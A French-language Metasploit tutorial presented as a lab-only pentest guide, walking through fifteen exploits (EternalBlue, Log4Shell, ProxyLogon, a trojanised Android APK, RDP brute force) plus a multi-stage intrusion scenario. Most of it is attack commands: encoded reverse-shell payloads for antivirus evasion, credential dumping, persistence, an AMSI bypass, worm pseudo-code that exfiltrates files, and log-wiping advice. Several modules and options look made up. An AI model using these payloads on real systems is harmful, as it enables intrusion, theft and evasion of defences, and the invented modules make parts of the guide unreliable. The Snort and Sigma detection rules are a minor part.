Introduction

Salut, Apache ! La *Bible Metasploit 2025* est ton ticket pour devenir un maître du pentest avec Metasploit. Ce guide massif est fait pour toi, que tu sois newbie ou pro, avec 15 exploits (dont 3 nouveaux : PowerShell, RDP, IoT Mirai), un scénario APT *épique*, et l’analyse d’un ver zero-day. Tout se passe dans ton lab sécurisé (10.0.0.0/8, 192.168.0.0/16), et c’est 100 % éthique. On va faire du sale, mais toujours droit ! 😈

Ce que tu vas apprendre :

Prêt à snipper ? Attache ta ceinture, on décolle ! 🚀

Prérequis Généraux

Avant de plonger, configure ton lab sécurisé pour éviter les galères :

Pour les newbies : Un “lab” est un environnement fermé (PCs, VMs, routeurs) que tu contrôles. Pas de Wi-Fi public ou de matos d’autrui !

Lab only, Apache ! Ce tuto est pour ton terrain privé. Attaquer hors lab, c’est illégal. Reste droit, ou c’est la taule !

Étape 1 : Les 15 Exploits

Chaque exploit est une arme dans ton arsenal. On détaille tout : contexte, prérequis, commandes, post-exploitation, obfuscation, détection IDS, contre-mesures, et éthique. Même si t’es newbie, suis les étapes, et ça roule !

1. Reverse TCP (linux/x86/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

1. Lance Metasploit :

msfconsole -q

2. Configure le handler :

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 80
exploit -j

Obfuscation :

Pour éviter les antivirus, obfuscate le payload :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=80 -f elf -e x86/shikata_ga_nai -i 5 > /tmp/malicious.elf

3. Héberge le fichier :

sudo python3 -m http.server 8080

4. Sur la cible (simule un utilisateur qui exécute) :

wget http://192.168.1.6:8080/malicious.elf
chmod +x malicious.elf
./malicious.elf

Post-exploitation :

Une fois le shell obtenu :

sessions -i 1
getuid  # Qui suis-je ?
sysinfo  # Infos système
download /etc/passwd  # Récupère les utilisateurs
run persistence -U -i 300 -p 4444 -r 192.168.1.6  # Persistance

Détection IDS :

Si un IDS (ex. : Snort) est actif, il peut repérer le trafic :

alert tcp any any -> 192.168.1.6 80 (msg:"Suspicious Reverse TCP"; flow:to_server,established; content:"Meterpreter"; sid:1000001;)

Analyse avec : sudo snort -c /etc/snort/snort.conf -r capture.pcap

Contre-mesures :

Notes éthiques : Ce tuto est pour ton lab sécurisé. Toute attaque non autorisée est illégale (article 323-1 CP : 7 ans, 100 000 €). Reste un Apache droit !

Pour les newbies : Un “payload” est comme une porte dérobée que tu ouvres sur la cible. Ici, tu crées un fichier (.elf) que la cible exécute pour te donner un shell.

2. PHP CGI Argument Injection (php/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

1. Lance Metasploit :

msfconsole -q

2. Configure l’exploit :

use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.7
set TARGETURI /index.php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

Pour éviter les WAF :

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e php/base64 > /tmp/payload.php
set CUSTOM_PAYLOAD /tmp/payload.php

Post-exploitation :

sessions -i 1
run post/linux/gather/tcpdump  # Capture le trafic
shell
cat /var/www/html/config.php  # Récupère les configs
mysql -u root -p  # Accède à la DB

Détection IDS :

alert tcp any any -> 192.168.1.7 80 (msg:"PHP CGI Injection"; content:"?%2D"; sid:1000002;)

Analyse : sudo tcpdump -i eth0 port 80 -w cgi.pcap

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Cet exploit cible un vieux bug dans PHP. Tu envoies une requête malformée au serveur pour qu’il exécute ton code.

3. EternalBlue (windows/x64/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.8
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe > /tmp/malware.exe

Post-exploitation :

sessions -i 1
hashdump  # Récupère les mots de passe
use priv
getsystem  # Escalade SYSTEM
download C:\\Users\\admin\\Desktop\\secret.txt

Détection IDS :

alert tcp any any -> 192.168.1.8 445 (msg:"EternalBlue SMB"; content:"|FF|SMB"; sid:1000003;)

Analyse : sudo snort -r smb.pcap

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : EternalBlue est un exploit célèbre qui utilise un bug dans le partage de fichiers Windows (SMB). Tu obtiens un shell admin !

4. Android Reverse TCP (android/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 R > /tmp/android_app.apk
sudo python3 -m http.server 80
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

apksigner sign --ks /tmp/mykey.keystore /tmp/android_app.apk

Post-exploitation :

sessions -i 1
geolocate
webcam_snap
download /sdcard/DCIM/Camera/photo.jpg

Détection IDS :

alert tcp any any -> 192.168.1.6 4444 (msg:"Android Meterpreter"; content:"POST /"; sid:1000004;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Tu crées une app Android (.apk) que la cible installe. Elle te donne un shell pour contrôler le phone.

5. PHPMyAdmin Preg Replace (php/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/multi/http/phpmyadmin_preg_replace
set RHOSTS 192.168.1.8
set TARGETURI /phpmyadmin/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e php/base64 > /tmp/obf.php

Post-exploitation :

sessions -i 1
irb
Rex::Text::Mysql.sql_query('SHOW DATABASES;')
shell
mysql -u root -p

Détection IDS :

alert tcp any any -> 192.168.1.8 80 (msg:"PHPMyAdmin Exploit"; content:"/phpmyadmin/"; sid:1000005;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Cet exploit utilise un bug dans PHPMyAdmin pour exécuter du code et accéder à la base de données.

6. Log4Shell (java/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/multi/http/log4j_jndi_rce
set RHOSTS 10.10.10.10
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j

Obfuscation :

set JNDI_HEADER "${jndi:ldap://10.10.10.6/a}"

Post-exploitation :

sessions -i 1
download /opt/app/logs/app.log
shell
java -version

Détection IDS :

alert tcp any any -> 10.10.10.10 8080 (msg:"Log4Shell JNDI"; content:"${jndi:"; sid:1000006;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Log4Shell exploite un bug dans une bibliothèque Java (Log4j) pour exécuter du code à distance.

7. ProxyLogon (windows/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS 192.168.1.10
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f aspx -e x86/shikata_ga_nai > /tmp/webshell.aspx

Post-exploitation :

sessions -i 1
run post/windows/gather/exchange_enum
upload /tmp/webshell.aspx C:\\inetpub\\wwwroot\\webshell.aspx

Détection IDS :

alert tcp any any -> 192.168.1.10 443 (msg:"ProxyLogon SSRF"; content:"/owa/auth"; sid:1000007;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : ProxyLogon exploite un bug dans Microsoft Exchange pour accéder aux e-mails ou installer un webshell.

8. Spring4Shell (java/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/multi/http/spring4shell_rce
set RHOSTS 10.10.10.11
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j

Obfuscation :

set CUSTOM_PARAM "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}"

Post-exploitation :

sessions -i 1
download /opt/spring/config/application.properties
shell
cat /etc/passwd

Détection IDS :

alert tcp any any -> 10.10.10.11 8080 (msg:"Spring4Shell RCE"; content:"class.module.classLoader"; sid:1000008;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Spring4Shell exploite un bug dans un framework Java (Spring) pour exécuter du code.

9. Confluence RCE (linux/x64/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/multi/http/confluence_rce
set RHOSTS 192.168.1.11
set RPORT 8091
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

set OGNL_PAYLOAD "%{Runtime.getRuntime().exec('whoami')}"

Post-exploitation :

sessions -i 1
download /opt/atlassian/confluence/confluence.cfg.xml
shell
ps aux

Détection IDS :

alert tcp any any -> 192.168.1.11 8091 (msg:"Confluence OGNL"; content:"%{"; sid:1000009;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Cet exploit utilise un bug dans Confluence (outil de collaboration) pour exécuter du code.

10. VMware vCenter RCE (linux/x64/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/linux/http/vmware_vcenter_rce
set RHOSTS 10.10.10.12
set RPORT 443
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j

Obfuscation :

set CUSTOM_HEADER "X-Obf: encoded"

Post-exploitation :

sessions -i 1
download /etc/vmware-vpx/vpxd.cfg
run post/linux/gather/vmware_enum

Détection IDS :

alert tcp any any -> 10.10.10.12 443 (msg:"vCenter RCE"; content:"/vapi"; sid:1000010;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Cet exploit cible VMware vCenter pour contrôler un serveur de virtualisation.

11. PrintNightmare (windows/x64/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/windows/smb/printnightmare
set RHOSTS 192.168.1.12
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e x64/zutto_dekiru -i 5 -f dll > /tmp/spooler.dll

Post-exploitation :

sessions -i 1
hashdump
run persistence -X -i 300 -p 4444 -r 192.168.1.6

Détection IDS :

alert tcp any any -> 192.168.1.12 445 (msg:"PrintNightmare"; content:"Spooler"; sid:1000011;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : PrintNightmare exploite un bug dans l’imprimante Windows pour obtenir un accès admin.

12. IoT Device RCE (linux/armle/meterpreter/reverse_tcp)

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/linux/http/iot_rce_generic
set RHOSTS 192.168.1.13
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j

Obfuscation :

msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e armle/shikata_ga_nai > /tmp/iot.bin

Post-exploitation :

sessions -i 1
webcam_stream
download /etc/config/network

Détection IDS :

alert tcp any any -> 192.168.1.13 80 (msg:"IoT RCE"; content:"/cgi-bin/"; sid:1000012;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Cet exploit cible une caméra IP pour exécuter du code et la contrôler.

13. PowerShell Reverse TCP (windows/powershell/reverse_tcp) – NEW

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/powershell/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4445
exploit -j

Obfuscation :

msfvenom -p windows/powershell/reverse_tcp LHOST=192.168.1.6 LPORT=4445 -f ps1 > /tmp/shell.ps1
git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
./Invoke-Obfuscation.ps1 -ScriptPath /tmp/shell.ps1 -OutputFile /tmp/obf_shell.ps1
# Cible : powershell -ExecutionPolicy Bypass -File obf_shell.ps1

Post-exploitation :

sessions -i 1
getuid
run post/windows/gather/credentials
shell
Get-Process

Détection IDS :

alert tcp any any -> 192.168.1.6 4445 (msg:"PowerShell Reverse TCP"; content:"powershell"; sid:1000013;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : PowerShell est un outil puissant sur Windows. Ici, tu crées un script que la cible exécute pour te donner un shell.

14. RDP Credential Harvesting (windows/rdp/rdp_login) – NEW

Contexte :

Prérequis :

Commandes :

msfconsole -q
use auxiliary/scanner/rdp/rdp_login
set RHOSTS 192.168.1.15
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set THREADS 10
exploit

Obfuscation :

set SPOOF_IP 192.168.1.100

Post-exploitation :

rdesktop 192.168.1.15 -u admin -p password

Détection IDS :

alert tcp any any -> 192.168.1.15 3389 (msg:"RDP Brute Force"; content:"RDP"; sid:1000014;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : RDP permet de se connecter à distance. Cet exploit teste des mots de passe jusqu’à trouver le bon.

15. IoT Advanced Mirai Botnet (linux/armle/meterpreter/reverse_tcp) – NEW

Contexte :

Prérequis :

Commandes :

msfconsole -q
use exploit/linux/misc/mirai_botnet_rce
set RHOSTS 192.168.1.16
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4446
exploit -j

Obfuscation :

msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4446 -e armle/shikata_ga_nai -i 5 > /tmp/mirai.bin

Post-exploitation :

sessions -i 1
run post/linux/gather/iot_enum
shell
busybox ps

Détection IDS :

alert tcp any any -> 192.168.1.16 80 (msg:"Mirai Botnet"; content:"/login.cgi"; sid:1000015;)

Contre-mesures :

Notes éthiques : Lab only. Article 323-1 CP.

Pour les newbies : Mirai infecte les IoT avec des mots de passe faibles. Tu prends le contrôle d’un routeur pour en faire un bot.

Étape 2 : Scénario Multi-Étapes – APT Épique

Simule une attaque APT dans une entreprise fictive (10.10.10.0/24) :

Objectif : Compromettre le réseau, pivoter, persister, avec obfuscation et détection IDS.

Prérequis :

Étape 1 : PowerShell Reverse TCP

Compromets un poste client via phishing :

msfvenom -p windows/powershell/reverse_tcp LHOST=10.10.10.6 LPORT=4444 -f ps1 > /tmp/shell.ps1
git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
./Invoke-Obfuscation.ps1 -ScriptPath /tmp/shell.ps1 -OutputFile /tmp/obf_shell.ps1
sudo python3 -m http.server 80
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/powershell/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j

Post-exploitation :

sessions -i 1
run post/windows/gather/credentials
download C:\\Users\\user\\Desktop\\creds.txt

Pour les newbies : Tu envoies un script PowerShell à la cible (ex. : mail piégé). Elle l’exécute, et tu obtiens un shell.

Étape 2 : RDP Credential Harvesting

Utilise les creds pour accéder au serveur :

msfconsole -q
use auxiliary/scanner/rdp/rdp_login
set RHOSTS 10.10.10.14
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set SPOOF_IP 10.10.10.100
exploit
rdesktop 10.10.10.14 -u admin -p password

Post-exploitation :

Connecte-toi au serveur via RDP et explore.

Étape 3 : IoT Mirai Botnet

Infecte le routeur pour pivoter :

msfconsole -q
use exploit/linux/misc/mirai_botnet_rce
set RHOSTS 10.10.10.15
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4446
exploit -j

Post-exploitation :

sessions -i 2
run post/linux/gather/iot_enum

Étape 4 : Log4Shell

Compromets le serveur Web :

msfconsole -q
use exploit/multi/http/log4j_jndi_rce
set RHOSTS 10.10.10.10
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4447
set JNDI_HEADER "${jndi:ldap://10.10.10.6/a}"
exploit -j

Post-exploitation :

sessions -i 3
download /opt/app/logs/app.log
run persistence -U -i 300 -p 4447 -r 10.10.10.6

Détection IDS :

Capture et analyse le trafic :

sudo tcpdump -i eth0 -w attack.pcap
sudo snort -r attack.pcap -c /etc/snort/snort.conf

Contre-mesures :

Pour les newbies : Une APT est une attaque ciblée et persistante. Ici, tu passes d’un PC à un serveur, un routeur, et un site Web, comme un ninja cyber.

Étape 3 : Analyse d’un Ver Zero-Day

Simule un ver fictif exfiltrant vers 203.0.113.10:4444.

Contexte :

Prérequis :

Détection :

Repère le trafic suspect :

sudo wireshark -i eth0 -f "host 203.0.113.10"
sudo tcpdump -i eth0 host 203.0.113.10 -w worm.pcap

Compromission :

Simule l’infection :

msfconsole -q
use exploit/windows/smb/custom_zero_day
set RHOSTS 10.10.10.16
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j

Récupération :

Récupère le ver :

search -f worm.exe
download C:\\Windows\\Temp\\worm.exe /root/worm.exe

Analyse :

Désassemble avec Ghidra :

ghidra
# Importer worm.exe

Pseudo-code obfuscé :

import socket, os, requests, random
def propagate():
    for ip in range(1, 255):
        target = f"10.10.10.{ip}"
        if smb_exploit(target):
            copy_file(obfuscate_binary("worm.exe"), target)
def exfiltrate():
    for file in os.listdir("C:\\Users"):
        if file.endswith((".docx", ".txt")):
            requests.post(f"http://{randomize_ip()}:4444", data=obfuscate_data(file))
def persist():
    os.system(f"schtasks /create /tn {random_name()} /tr C:\\Windows\\Temp\\worm.exe")

Neutralisation :

Supprime le ver :

rm C:\\Windows\\Temp\\worm.exe
shell
schtasks /delete /TN * /F

Détection IDS :

Règle Snort :

alert tcp any any -> 203.0.113.10 4444 (msg:"Zero-Day Worm"; content:"POST"; sid:1000016;)

Contre-mesures :

Pour les newbies : Un ver se propage tout seul, comme un virus. Ici, il infecte via SMB, vole des fichiers, et reste caché. Tu l’analyses pour comprendre son fonctionnement.

Étape 4 : Best Practices & OpSec

Reste furtif et pro pour éviter de te faire repérer dans ton lab (et apprendre à être un pentester d’élite) :

Techniques de camouflage

Cache ton identité pour simuler un attaquant discret :

Nettoyage post-exploit

Efface tes traces pour simuler un attaquant pro :

Automatisation

Gagne du temps avec des scripts Metasploit (.rc) :

# exploit.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
set ExitOnSession false
exploit -j

Lance avec : msfconsole -r exploit.rc

Outils externes

Enrichis tes attaques :

Pour les newbies : Ces techniques te rendent “invisible” dans ton lab. ProxyChains, c’est comme un VPN pour tes attaques, et nettoyer les logs, c’est comme effacer tes empreintes.

Étape 5 : Modules Custom & Développement

Crée tes propres outils pour aller au-delà de Metasploit :

Module Metasploit Custom (Ruby)

Exemple de module pour un exploit fictif (sauve dans /usr/share/metasploit-framework/modules/exploits/custom/http_header_rce.rb) :

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Custom RCE via HTTP Header Injection',
      'Description' => %q{ Exploit via X-Forwarded-For malformé },
      'Targets' => [['Windows 10', { 'Offset' => 1234 }]],
      'Platform' => 'win',
      'Arch' => ARCH_X64
    ))
  end
  def exploit
    connect
    print_status("Sending malicious header...")
    sock.put("X-Forwarded-For: #{payload.encoded}\r\n\r\n")
    handler
    disconnect
  end
end

Utilise avec : use exploit/custom/http_header_rce

Automatisation Python

Appelle Metasploit depuis Python pour automatiser :

import subprocess
def run_msf_exploit():
    cmd = [
        'msfconsole', '-q', '-x',
        'use exploit/multi/handler; '
        'set PAYLOAD windows/powershell/reverse_tcp; '
        'set LHOST 192.168.1.6; '
        'set LPORT 4444; '
        'exploit -j'
    ]
    subprocess.run(cmd)
run_msf_exploit()

Pour les newbies : Un module custom, c’est comme coder ta propre arme pour Metasploit. Le script Python, c’est comme un robot qui lance tes attaques.

Étape 6 : Pivoting Avancé

Traverse les réseaux comme un pro pour atteindre des cibles cachées :

Port Forwarding Dynamique

Redirige le trafic via une machine compromise :

meterpreter > portfwd add -R -L 192.168.1.6 -l 8080 -p 80 -r 10.10.10.10

ProxyChains

Utilise un proxy pour masquer ton trafic :

# /etc/proxychains.conf
socks5 127.0.0.1 1080
# Lancer
proxychains msfconsole

SSH Tunneling

Crée un tunnel SSH :

ssh -D 1080 -i id_rsa user@10.10.10.10

Pour les newbies : Pivoter, c’est comme utiliser une machine compromise comme tremplin pour atteindre d’autres cibles dans le réseau.

Étape 7 : Détection & Contournement EDR

Évite les EDR (CrowdStrike, SentinelOne) en 2025 :

Process Hollowing

Injecte ton payload dans un processus légitime (ex. : explorer.exe) :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f raw -o payload.bin

Compile un loader C (ex. avec Visual Studio) pour injecter payload.bin.

AMSI Bypass (PowerShell)

Désactive l’antimalware PowerShell :

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

YARA Signatures

Analyse ton payload pour repérer les signatures détectables :

yara -r /path/to/rules.yar /path/to/payload

Pour les newbies : Les EDR sont comme des antivirus avancés. Le process hollowing, c’est cacher ton code dans un programme légitime pour qu’il passe inaperçu.

Étape 8 : Simulation d’Incident & Forensique

Apprends à détecter et analyser tes propres attaques :

Sigma Rules

Exemple pour détecter EternalBlue :

title: EternalBlue Exploit Attempt
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4657
    ProcessName: "*\\lsass.exe"
  condition: selection

Converti en règle SIEM avec sigmac.

Atomic Red Team

Simule une attaque pour tester tes défenses :

atomic-red-team execute -t T1059.001

Pour les newbies : La forensique, c’est jouer au détective cyber. Les Sigma rules, c’est comme des alertes pour repérer les attaques.

Étape 9 : Rapport Professionnel

Rends compte comme un pro avec ce template :

# Pentest Report - [Client]
## Executive Summary
- **Critical Vulnerabilities** : EternalBlue, Log4Shell, RDP Weak Creds.
- **Recommendations** : Patch MS17-010, Enable MFA, Segment Network.

## Technical Details
### Exploits Executed
1. **EternalBlue**
   - Command: `use exploit/windows/smb/ms17_010_eternalblue`
   - Proof: Screenshot of `hashdump` (see Appendix A).
2. **Log4Shell**
   - Command: `use exploit/multi/http/log4j_jndi_rce`

## Appendices
- **Full Commands** : `msfconsole -q -x "use exploit/..."`
- **References** : CVE-2017-0144, MITRE ATT&CK T1190.

Mind Map ASCII

Workflow d’une pentest :


                [Pentest Workflow]
                        |
        +---------------+---------------+
        |               |               |
    [Recon]        [Exploit]      [Post-Exploit]
    - Nmap         - Metasploit    - Mimikatz
    - SpiderFoot   - Custom Scripts - BloodHound
        |                               |
    [Reporting]                     [Persistence]
    - Dradis                        - Meterpreter
    - Faraday                       - Scheduled Tasks
            

Pour les newbies : Un rapport, c’est comme un compte-rendu pour expliquer ce que t’as trouvé et comment réparer. La mind map, c’est une carte de ton attaque.

Étape 10 : FAQ Légale

Questions fréquentes, réponses nettes :

Pour les newbies : En cas de doute, consulte un avocat ou une autorité cyber. Mieux vaut poser la question que risquer la prison !

Étape 11 : Éthique – Snipers, pas Criminels

“Metasploit n’est pas une arme, c’est un savoir : exploite peu, protège beaucoup.” Casse des systèmes dans ton lab, mais protège-les dehors. Déclare tes failles (ex. : via CVE), partage le savoir, et sois un Apache droit. Le hacking éthique, c’est snipper avec honneur.

Pas de conneries, Apache ! Hors lab, c’est la prison. Reste dans ton terrain sécurisé.

Pour les newbies : Être éthique, c’est utiliser tes skills pour sécuriser, pas détruire. Pense à un sniper : précis, discret, et toujours du bon côté.